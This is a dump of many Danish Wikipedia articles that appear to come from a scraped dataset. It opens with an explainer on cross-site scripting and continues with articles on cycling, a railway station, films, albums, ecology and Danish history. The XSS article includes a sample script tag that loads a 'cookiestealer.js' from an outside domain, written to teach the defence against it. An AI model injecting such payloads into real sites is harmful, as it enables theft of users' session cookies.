kardosdrur/scandi-wiki huggingface dataset:
Cross-site scripting

Cross-site scripting (XSS) er en form for angreb, der typisk er rettet mod webapplikationer. Et XSS angreb lader brugeren indsætte kode ind i en hjemmeside, som andre brugere ville se. Dette lader dem omdirigere brugeren, sende brugerens input videre mm. Dette er et meget typisk angreb, og hvis ikke brugerens input ikke escapes og renses ordentligt, kan det være meget farligt.

Eksempler 
Forestil dig en side, med en simpel HTML-formular, med et input felt, fx et kommentarfelt.

Når brugen inputter sin tekst, og sender kommentaren, bliver den sat ind i dokumentet:<p>Brugerens input</p>Det ville fungere fint, men hvad nu hvis vi indsatte en ondsindet tekst som fx Hej! <script src="http://enellerandenside.dk/cookiestealer.js">Så ville HTML-koden på hjemmesiden se sådan her ud:<p>Hej! <script src="http://enellerandenside.dk/cookiestealer.js"</p>Og når nogen ser det her, og det bliver indlæst vil koden fra hjemmesiden blive kørt, og det kunne fx være en cookie stjæler, som tager brugerens autoriserings cookie og sender den til en anden server.

Sikring mod XSS-angreb 
Disse slags angreb kan dog blive undgået. Man kunne "escape" < og >, så at de ikke bliver set som kode, men blot tekst.

Man kunne have et script der tjekker teksten, og erstatter tegnene som i følgende skema

Datalogi
Hjørring Øst Station

Hjørring Øst Station er en jernbanestation på Vendsysselbanen, der ligger i det østlige Hjørring i Vendsyssel. Stationen består af et spor og en perron med læskærme, cykelskure mv. Den betjenes af Nordjyske Jernbaners tog mellem Aalborg og Skagen. Kundegrundlaget udgøres blandt andet af Regionshospital Nordjylland, Hjørring og flere uddannelsesinstitutioner, der ligger inden for gangafstand.

Stationen åbnede for driften 8. marts 2021. På grund af restriktionerne i forbindelse med coronaviruspandemien var der ingen fejring på dagen. Anlægsarbejderne kostede 9,6 mio. kr., hvoraf staten betalte halvdelen, og Hjørring Kommune og Region Nordjylland en fjerdedel hver. Forud for åbningen forventedes det, at stationen ville få mellem 500 og 1.000 passagerer dagligt.

Noter

Eksterne henvisninger 
 Nordjyske Jernbaner

Stationer på Vendsysselbanen
Station
Etableret i 2021
Station
UCI Europe Tour 2021

UCI Europe Tour 2021 er den 17. sæson af UCI Europe Tour. Sammen med resten af løbene på UCI Continental Circuits er det UCIs tredjehøjeste rangering af internationale cykelløb, hvor UCI World Tour 2021 og UCI ProSeries 2021 er højere.

Gennem sæsonen bliver der uddelt point til rytterne efter placering på etaperne, endagsløb og slutposition i løb. Antal point varierer efter rangering i de forskellige løb. Hvert løb har én kategori som afgør hvilke hold der kan deltage, point der uddeles, udover at det viser hvilken type løb der er tale om: 

 Etapeløb: 2.1 og 2.2
 Endagsløb: 1.1 og 1.2

Danske sejre

Andre konkurrencer

Løb 
Listen opdateres løbende

Referencer

Eksterne henvisninger
Aladdin og de fyrretyve røvere

Aladdin og de fyrretyve røvere (eng: Aladdin and the King of Thieves) er en amerikansk direkte-til-video tegnefilm, udgivet af Walt Disney Company den 13. august 1996 i USA, som den anden efterfølger til Aladdin.

Handling 

Det er et stykke tid siden, den onde Jafar blev stoppet en gang for alle. Aladdin og Jasmine skal gifte sig. Under brylluppet bliver Agrabah angrebet af røvere. Aladdin og de andre formår at stoppe røvernes angreb. Røverne viser sig at have været på udkig efter en usædvanlig tryllestav, som Aladdin og Jasmine fik som bryllupsgave.

Staven viser sig at indeholde et orakel, der kan se ind i fremtiden og fortiden, men kan kun besvare et spørgsmål fra hver person. Aladdin spørger hvor hans far er og får svaret at han skal følge røverne, der flygtede. Han tøver, men Jasmine opfordrer ham til at rejse, fordi hun mener at Aladdins far skal have lov til at deltage i brylluppet.

Det viser sig, at det er Kassam, røvernes leder, der er Aladdins far. Aladdin slutter sig til røverbanden efter at have bestået deres farlige optagelsesprøve, men er snart tvunget til at vælge mellem at være sammen med sin fremtidige kone Jasmine i paladset eller ledsage sin far på hans rejser for at finde kong Midas hånd.

Medvirkende

Se også 

 Aladdin
 Jafar vender tilbage

Referencer

Eksterne henvisninger 
 

Tegnefilm fra USA
Disney tegnefilm
Amerikanske film fra 1996
Tour de l'Avenir 2021

Tour de l'Avenir 2021 var den 57. udgave af det franske etapeløb Tour de l'Avenir, også kendt som ungdommens Tour de France. Cykelløbets ti etaper blev kørt fra 13. august til 22. august 2021. Løbet var en del af UCI Nations' Cup U23. Den oprindelige 57. udgave blev i 2020 aflyst på grund af coronaviruspandemien.

Etaperne

Prolog

1. etape

2. etape

3. etape

4. etape

5. etape

6. etape

7. etape

8. etape

9. etape

Samlet stilling

Hold og ryttere

Danske ryttere 

* DNF = gennemførte ikke

Referencer

Eksterne henvisninger 
 
 
 
 

2021
Cykelløb i 2021
Illyriske løvskove

De Illyriske løvskove er en landbaseret økoregion i Sydeuropa, der strækker sig langs den østlige kyst af Adriaterhavet . Det hører til Middelhavets skove, skovområder og kratbiom og er i den palearktiske zone .

Geografi 
De illyriske løvskove strækker sig langs den østlige kyst af Det Ioniske og Adriaterhavet og har et areal på 40.600 km2   i det nordlige Grækenland, Albanien, Montenegro, Bosnien-Hercegovina, Kroatien, Slovenien og Norditalien omkring Trieste.

Økregionen grænser til  de Ægæiske og vesttyrkiske sklerofyløse og blandede skove (i Grækenland), Pindusbjergenes blandede skove (i Grækenland og Albanien), Dinariske bjerges blandede skove (i Albanien, Montenegro, Bosnien-Hercegovina, Kroatien, Slovenien og Italien) og Poslettens blandede skove (i Italien).

Klima 
Økregionens klima er hovedsageligt  middelhavstklima (efter Köppens klimaklassifikation) med varme somre  (Csa) og fugtigt  subtropisk med våde vintre (Cfa).

Flora  
På grund af det store højdeforhold i økoregionen er de højeste højder (over 1.000 m) dækket af nåleskove, med en blandet bredbladet vegetation og maquis buskland forekommer lavere. Nåletræszonen er domineret af gran, sølvgran og europæisk sort fyr med blandingen af den europæiske bøg . De dominerende arter i de nedre zoner inkluderer forskellige løvfældende eg ( Quercus frainetto, Q. pubescens, Q. cerris ), Carpinus orientalis, Fraxinus ornus med Cotinus coggygria, Paliurus spina-christi, Cercis siliquastrum . Stedsegrønne træer og maquis buske ( Quercus ilex, Pinus halepensis, Pistacia terebinthus, P. lentiscus, Juniperus oxycedrus, J. macrocarpa, Arbutus unedo, A. andrachne, Nerium oleander ) bliver fremherskende nær kysten.

Afgrænsning af økoregionen 
Grænserne for økoregionen De illyriske løvskove er sat af WWF og Digital Map of European Ecological Regions af Det Europæiske Miljøagentur. Fytogeografisk deles økoregionen mellem Adriaterhavet og det østlige Middelhavsområde i Middelhavsområdet inden for det Boreale rige (ifølge Armen Takhtajans afgrænsning).

Kilder og henvisninger 

  Southeastern Europe: Northern Italy, Slovenia, Croatia, Bosnia&Herzegovina, Montenegro, Albania, and northern Greece på worldwildlife.org/ecoregions hentet 4.marts 2021

Balkan
Økoregion
HRE Mazowsze Serce Polski

HRE Mazowsze Serce Polski er cykelhold fra Polen som cykler i UCI kontinental-klassen. Det blev etableret i 2017.

Holdet

2023

Sejre

2022

Sejre

2021

Sejre

Eksterne henvisninger 
 
 
 
 

Cykelhold fra Polen
Etableret i 2017
Skammertegnet

Skammertegnet er bind to i fantasy-serien Skammerens børn skrevet af Lene Kaaberbøl. Bogen blev udgivet i 2001.

Hovedpersonen Dina bliver bortført af Drakans fætter Valdracu, og hendes storebror Davin er fast besluttet på at finde hende.

Kilder og henvisninger 

 

Fantasy
Ungdomsbøger
Julija Dolgorukova

Julija Vitaljevna Dolgorukova () er en russisk maler og medlem af International Academy of contemporary arts 2020.

Biografi 
Dolgorukova blev født i Moskva . Hun tog eksamen fra Moscow Art College som grafisk designer og deltog i kurser på Moscow Polygraphic Institute, studerede hos J. Bisti og A. Cedric. I 1990 deltog hun i forelæsninger og workshops i Michael Lesehr i Stuttgart Academy of Fine Arts. Hendes værker inkluderer staffelimalerier, tegninger og teaterdekoration samt mode og indretning . I 1981 blev hun accepteret til ungdomsafsnittet i Moskva Union of Artists, og i 1997 blev hun medlem af Moscow Union of Artists. Siden 1991 er hun medlem af Creative Union of Artists of Russia .

Siden 1981 har Julia deltaget i mere end 60 udstillinger.

Galleri

Kilder 
 XII udstilling af unge Moskva kunstnere. Katalog. M., MOSH. I 1981.
 XIII udstilling af unge Moskva kunstnere. Katalog. Moskva, sovjetisk kunstner, 1983.
 XV udstilling af unge Moskva kunstnere. Katalog. Moskva, sovjetisk kunstner, 1985, side 25.
 udstilling af værker af sovjetiske kunstnere, dedikeret til 150-årsdagen for landets jernbaner. Maleri. Grafik. Skulptur. Katalog . M., 1987, side 14.
 All-Union udstilling af unge kunstnere dedikeret til 70-årsdagen for Komsomol. Katalog. Moskva, sovjetisk kunstner. I 1988.
 All-Union udstilling og konkurrence "Golden Brush". Katalog. Moskva, sovjetisk kunstner. I 1991.
 Moskvas internationale kunstmesse og udstilling ART-MIF-93. Moskva, 1993.
 Negoryuhin B. Vernissage Adel / / Nord sandhed. 1994, 27. maj.
 På 20-års jubilæumsudstillingen i pavillonen "Biavl" Udstilling om økonomiske præstationer i Sovjetunionen. Katalog. M., IFA, 1995, side 34.
 Aidinyan C. Margarita, Woland og andet / / Kultur. 1995, 18. marts.
 Aidinyan C. "dårligt" hus, beskrevet af Bulgakov / / chimes. 1995, 21. marts.
 Aidinyan C. "Bulgakov hjemme" / / Moscow News. I 1995.
 Der regerer Bulgakov / / The Presnya. 1995, april, nr. 11.
 Koktebel - Karadag. Katalog over udstillingen. Moskva, udstillingshallen "Vykhino." I 1997.
 Bevægelsesdans / / Kunstnerisk messe. Maj 2000, (004).
 Art of Julia Dolgorukova L. Urazova / / Muscovite. Februar 2002.
 Grekov S. "Sjæl, der ikke kender noget mål" / / Forretning Alexandrov. 2002, 3. juli (nr. 190).
 Seija Lipsanen. "Kolme naista Galleriarissa" / / Vikkoset. 04/07/2007.
 "Art Gellary har åbnet" / / Mahmutlar Haber. 2010, Jule.
 Natalia Yilmaz "Kreativ symfoni af Julia Dolgorukova" tidsskrift "SAFFRON", nr. 2 2017, s. 32-41

Eksterne henvisninger 

 Julia Dolgorukova på det officielle sted for Moskva kunstnerunion.
 Julia Dolgorukova på den officielle hjemmeside for Association of Painters of the Moscow Union of Artists.
 program "Vesti", åbningsdagen for Julia Dolgorukova i "Bulgakov's House ' (Video).
 TV "Anastasia" (Kostroma), åbningsdagen for Julia Dolgorukova i Kostroma Regional Art Museum (Video).
 Julia Dolgorukova i registret over professionelle kunstnere.
 Åbningsdag Julia Dolgorukova i udstillingshallen i det nordvestlige distrikt "Scarlet Sails" i Moskva. Kunst i Alanya: Maleren Julia Dolgorukova.

Referencer 

Kunstnere fra Rusland
1991 (Moonjam-album)

1991 er det fjerde studiealbum fra det dansk pop-rockorkester Moonjam. Det blev udgivet i 1991 og indeholder bl.a. nummeret "Midsommernat".

Spor 
 "Midsommernat" - 3:55
 "Belisa" - 3:26
 "Den Blå Planet" - 3:49
 "Med Ryggen Mod Muren" - 4:02
 "Ensom Uden Dig" - 3:21
 "Baby, Du Har Det" - 4:00
 "Dr. Jekyll Og Mr. Hyde" - 3:55
 "Gadens Børn" - 4:13
 "Gøglerne Kommer" - 1:52
 "Sarai-Live" - 3:45

Eksterne henvisninger 
 1991 på Discogs

Album fra 1991
Moonjam-album
Faculty of Natural Sciences

Faculty of Natural Sciences også kaldet Natural Sciences er et af de fire fakulteter ved Aarhus Universitet. Faculty of Natural Sciences er det naturvidenskabelige fakultet og omfatter fagområderne:

Biologi, fysik og astronomi, kemi, geologi, matematik, datalogi, molekylærbiologi og nanoscience. Dekanen for fakultet er Kristian Pedersen.

Fakultetet er dannet pr. 1. januar 2020 ved en opdeling af det tidligere Faculty of Science and Technology. Faculty of Natural Sciences har ca. 3.300 studerende og 1.400 ansatte.

Fakultetet beskæftiger sig med forskning, myndighedsbetjening og uddannelse på bachelor-, kandidat-, og Ph.D-niveau.

Udover dette hører Science museerne Botanisk have, Steno museet, Ole Rømer-Observatoriet og Herbariet til Faculty of Natural Sciences, som til sammen har 80.000 besøgende årligt

Centre og institutter som Natural Sciences består af: 

 Institut for Biologi
 Institut for Datalogi
 Institut for Fysik og Astronomi
 Institut for Geoscience
 Institut for Kemi
 Institut for Matematik
 Interdisciplinært Nanoscience Center (iNANO)
 Institut for Molekylærbiologi og Genetik

Bacheloruddannelser på Faculty of Natual Sciences: 

 Biologi
 Datalogi
 Datavidenskab
 Fysik
 Geoscience
 It-produktudvikling
 Kemi
 Matematik
 Matematik-økonomi
 Medicinalkemi
 Molekylærbiologi
 Molekylær medicin
 Nanoscience

Kandidatuddannelser på Faculty of Natual Sciences: 

 Astronomi
 Bioinformatik
 Biologi
 Datalogi
 Fysik
 Geofysik
 Geologi
 It-produktudvikling
 Kemi
 Matematik
 Matematik-økonomi
 Medicinalkemi
 Molekylærbiologi
 Molekylær medicin
 Nanoscience
 Statistik
 Videnskabsstudier

Ph.D.-programmer på Faculty of Natual Sciences: 

 Biology
 Chemistry
 Computer Science
 Geoscience
 Mathematics
 Molecular Biology and Genetics
 Nanoscience
 Physic and Astronomy

External links 
 Officiel hjemmeside

Referencer 

Fakulteter ved Aarhus Universitet
Songs For Saxophone

Songs For Saxophone er det femte studiealbum fra det dansk pop-rockorkester Moonjam. Det blev udgivet i 1992.

Spor 
 "What Can I Do Now" - 4:23
 "Salsa Olympia (Album Version)" - 3:56
 "I'm Not In Love" - 5:37
 "Beat-Less" - 3:21
 "Save The Best For Last" - 3:10
 "Power Flower" - 4:15
 "Dance Floor" - 5:16
 "Yellow Cab" - 3:54
 "Jazz House" - 3:45
 "Efter Festen" - 3:53
 "Salsa Olympia (Single Version)" - 3:40

Eksterne henvisninger 
 Songs For Saxophone på Discogs

Album fra 1992
Moonjam-album
Det tidlige forår

Det tidlige forår er den samlede udgave af Tove Ditlevsens to erindringsbøger; ’Barndom’ og ’Ungdom’, begge fra 1967.

Kilder og henvisninger

Bøger af Tove Ditlevsen
Mie Saabye

Mie Saabye Madsen (født 8. august 2001 i Ry) er en cykelrytter fra Danmark.

Karriere 
Saabye startede som 10-årig med at køre mountainbike hos Gl. Rye MTB, og skiftede senere til naboklubben Mountainbike Klub Silkeborgs licenshold. Ved EM i mountainbike 2015 blev hun europamester i U15-rækken. Året før var hun blevet danmarksmester.

Ved DM i cykelcross 2017 vandt hun bronzemedalje i eliterækken, kun overgået af Malene Degn og Caroline Bohé. Samme år kørte Mie Saabye sit første landevejsløb, da hun deltog i det nordjyske løb 3 dage i Nord.

Ved de ungdomsolympiske lege 2018 i Buenos Aires vandt hun sammen med Sofie Heby Pedersen guld i holdkonkurrencen i mountainbike og landevejscykling.

I 2018 og 2019 blev Saabye junior-danmarksmester i både linjeløb og enkeltstart.

Udmærkelser 
 Årets cykeltalent i Danmark (2019)

Referencer

Eksterne henvisninger 

 
 Mie Saabyes profil på The-sports.org
 

Kvindelige cykelryttere fra Danmark
Cykelcrossryttere
Christine Majerus

Christine Majerus (født 25. februar 1987 i Luxembourg) er en luxembourgsk cykelrytter, der konkurrerer i landevejscykling og cykelcross. Hun er flere gange luxembourgsk mester i begge disse discipliner, og hun kom på 21. pladsen i landevejsløbet ved Sommer-OL 2012 i London.

Eksterne henvisninger 

Kvindelige cykelryttere fra Luxembourg
Personer fra Luxembourg (by) 
Deltagere for Luxembourg ved sommer-OL 2012
Cykelryttere ved sommer-OL 2012 
Cykelryttere ved sommer-OL 2016 
Cykelryttere ved sommer-OL 2020
Cykling under sommer-OL 2012 – Linjeløb (kvinder)

Landevejscykling for kvinder under Sommer-OL 2012 fandt sted søndag 29. juli. Løbet startede og sluttede på The Mall og var det samme som for mændene, men med to i stedet for ni runder på Box Hill. Marianne Vos var den stærkeste i tremandsudbruddet, der holdt hele vejen til målstregen og hun slog Lizzie Armitstead, som sikrede den første medalje til Storbritannien.

Resultater

Galleri

Kilder

Eksterne henvisninger 
 

Cykling under sommer-OL 2012
Kvindesport under OL
Olga Sabelinskaja

Olga Sabelinskaja (  ; født 10. maj 1980 i Leningrad) er en russisk cykelrytter. Hun vandt bronze i landevejsløb og Enkeltstart i Sommer-OL 2012.

Hun har vært professionel siden 2001, og er datter af Sergej Sukhorutjenkov, som vandt OL-guld i cykling i Sommer-OL 1980.

Eksterne henvisninger 
 

Kvindelige cykelryttere fra Rusland
Cykelryttere ved sommer-OL 2012
Cykelryttere ved sommer-OL 2016
Cykelryttere ved sommer-OL 2020
Deltagere for Rusland ved sommer-OL 2012
Deltagere for Rusland ved sommer-OL 2016
Deltagere for Rusland ved sommer-OL 2020
Medaljevindere ved sommer-OL 2012
Medaljevindere ved sommer-OL 2016
Olympiske sølvmedaljevindere fra Rusland
Olympiske bronzemedaljevindere fra Rusland
Personer fra Sankt Petersborg
Janildes Fernandes

Janildes Fernandes (født 23. august 1980) er en brasiliansk cykelrytter som konkurrerer i landevejscykling. Hun  repræsenterede Brasilien under Sommer-OL 2012 i London, hvor hun ikke gennemførte landevejsløbet

Kilder

Eksterne henvisninger 

Kvindelige cykelryttere fra Brasilien
Deltagere for Brasilien ved sommer-OL 2012
Jutatip Maneephan

Jutatip Maneephan (født 8. juli 1988) er en thailandsk  cykelrytter som konkurrerer i landevejscykling. Hun repræsenterede Thailand under Sommer-OL 2012 i London, hvor hun ikke gennemførte landevejsløbet.

Kilder

Eksterne henvisninger 

Kvindelige cykelryttere fra Thailand
Deltagere for Thailand ved sommer-OL 2012
Cykelryttere ved sommer-OL 2012
Svend Bundgaard

Svend Bundgaard (25. april 1912 - 21. december 1984) var en dansk matematiker uddannet fra Københavns Universitet i 1935. Efter ansættelser på Polyteknisk Læreanstalt og efterfølgende ved Københavns Universitet, blev han i 1954 den første professor i matematik ved Aarhus Universitet. Bundgaard ledede Institut for Matematik (Aarhus Universitet) frem til 1971, hvor han blev rektor for Aarhus Universitet.

Eksterne henvisninger 
 Nekrolog (Aarhus Universitet)

Professorer fra Aarhus Universitet
Matematikere fra Danmark
Alumni fra Københavns Universitet
Act of Accord

Act of Accord blev vedtaget af Det engelske parlament den 25. oktober 1460, tre uger efter Richard, hertug af York, var gået ind i rådskammeret og havde lagt sin hånd på den tomme trone. I henhold til loven skulle kong Henrik 6. af England beholde kronen resten af sit liv, men York og hans arvinger skulle efterfølge ham, hvorved Henriks søn, Edvard af Westminster, blev forbigået. Henrik blev tvunget til at acceptere loven.

Loven gjorde langt fra en afslutning på Rosekrigene. Den splittede kongeriget yderligere, da den var uacceptabel for dronningen, Margrete af Anjou, der havde set sin søn blive gjort arveløs, og samlede omkring sig en stor skare Huset Lancasters støtter. Ikke lang tid efter besejrede Lancasters styrker Richard, hertug af York, og dræbte ham i december 1460 (selvom loven havde gjort det til højforræderi at dræbe ham), men de blev igen besejret i foråret 1461 af Yorks søn Edvard, som derefter blev konge.

I det samme parlament (den 31. oktober) blev York gjort til fyrste af Wales og jarl af Chester, hertug af Cornwall og Lord Protector of England.

Se også 

 Huset Plantagenet

Referencer

Yderligere læsning 

 Britain Express: The Act of Accord
 Den fulde lovtekst fra Davies, John S., An English Chronicle of the Reigns of Richard II, Henry IV, Henry V og Henry VI, folios 208-211 (fra Googlebooks, hentet 15. august 2012)
 Warwick Kingmaker, Hicks, Michael; Oxford 1998

Rosekrigene
Etableret i 1460
Amanda Carr

Amanda Carr (født 24. juni 1990) er en thailandsk cykelrytter.

Hun repræsenterede Thailand under Sommer-OL 2016 i Rio de Janeiro, der hun blev slået ud i semifinalen i BMX-konkurrencen.

Kilder

Eksterne henvisninger 

Kvindelige cykelryttere fra Thailand
Deltagere for Thailand ved sommer-OL 2016
Cykelryttere ved sommer-OL 2016
Natura 2000-område nr. 162 Skælskør Fjord og havet og kysten mellem Agersø og Glænø

Natura 2000-område nr. 162 Skælskør Fjord og havet og kysten mellem Agersø og Glænø  er et Natura 2000-område der består af habitatområde  nr. H143 og fuglebeskyttelsesområdeerne nr. F95 og F96. Det har et  areal på  185 km² hvoraf landarealet udgør 45 km². Hele området er desuden udpeget som Ramsarområde. Kun 29 hektar af området er statsejet.   Natura 2000-området ligger   i Vandområdedistrikt II Sjælland  i vandplanomåde  2.5 Smålandsfarvandet  i Slagelse Kommune.

Områdebeskrivelse
Området er ligger på den sydvestlige del af Sjælland og strækker sig fra Kobæk Strand ved Skælskør til Klinteby Klint øst for Bisserup. Området omfatter desuden øerne Agersø og Omø og et betydeligt havareal.   Mod vest  grænser området til  den marine del af Natura 2000-område nr. 116 Centrale Storebælt og Vresen.

Kyststrækningen er præget af laguner og nor afsnøret af øer, fed og større sandaflejringer. Dertil kommer brakvandsfjorden og det næsten ferske nor ved Skælskør samt et inddæmmet område, der danner Borreby Mose.

En stor del af vandområdet er forholdsvist lavvandet og derfor vigtigt for mange havfugle, der lever af bunddyr. Langs kysten findes store strandengsarealer - heriblandt nogle af Sjællands fineste strandenge. Strandengene tjener som yngle- og rasteområde for et rigt fugleliv, og bl.a. klyde yngler i et betydeligt antal flere steder i området. Strandengene er bl.a. også voksested for den enårige tangurt. 

I Borreby Mose mødes den salte og ferske eng, og åbent vand afveksler med afgræsset eng og rørsump. Mosen er et unikt fugleområde med bl.a. brushane og adskillige ynglende par af rørhøg. Den gulblomstrede kærfnokurt vokser nogle år i stor mængde i mosen.

Klokkefrø er forsvundet fra de fleste steder i Danmark, men der har overlevet med en bestand på Agersø, og fandtes frem til  slutningen af 1990’erne andre steder i Natura 2000-0mrådet. Den er nu  klokkefrø nu genudsat på Glænø.

Fredninger
Der er to store naturfredninger i Natura 2000-området. Det største er Fredningen:Stigsnæs-Borreby-Basnæs Nor hvor 1.215 hektar er fredet i to omgange, første gang i 1978, og i 1987 blev 323 hektar blev lagt til, så områderne kom til at hænge sammen.
Den anden store fredning er Fjordlandskabet omkring herregården Holsteinborg og Holsteinborg Nor, hvor  276 hektar blev fredet i 1936.

Natur og vildtreservater
Der er fire Natur- og vildtreservater i området. Basnæs Nor blev udlagt som vildreservat, som  det første  i Danmark allerede i 1919. Holsteinborg Nor er udlagt som trækfuglereservat, ligesom Helleholm Vejle på Agersø. Skælskør Nor er udlagt som byreservat.

Se også 
 Internationale naturbeskyttelsesområder i Danmark
 Naturtyper i Danmark

Kilder og henvisninger

 Kort over området på miljoegis.mim.dk
 Naturplanen  
 Basisanalysen 2016-21 
Handleplan Miljøstyrelsen og Slagelse, december 2012
Natura 2000-planer
EU-habitatområder i Danmark
Fuglebeskyttelsesområder i Danmark
Ramsarområder i Danmark
Fredede arealer i Danmark

Lokaliteter i Slagelse Kommune
Jette Kristensen

Jette Kristensen (født 1945 eller 1946) er en dansk politiker fra Socialdemokratiet, der fra 2000 til 2001 var borgmester i Roskilde Kommune.

Kristensen blev valgt til byrådet i 1981. I 1987 blev hun leder af AOF i Roskilde. I byrådet var hun desuden formand for den socialdemokratiske gruppe samt viceborgmester. Ved den mangeårige socialdemokratiske borgmester Henrik Christiansens pludselige død i november 2000 blev Jette Kristensen valgt til borgmester, i første omgang konstitueret og fra 20. december 2000 officielt..

Ved kommunalvalget i 2001 tippede magten dog, og Venstres Bjørn Dahl blev konstitueret som borgmester i kommunen, der siden 1978 havde haft uafbrudt socialdemokratisk styre. Ved kommunalvalget i 2005 forsøgte Jette Kristensen at blive socialdemokratisk spidskandidat i den ny Roskilde storkommune, men tabte til Ramsøs daværende socialdemokratiske borgmester, Poul Lindor Nielsen.

Referencer 

Borgmestre fra Socialdemokraterne
Tidligere borgmestre fra Danmark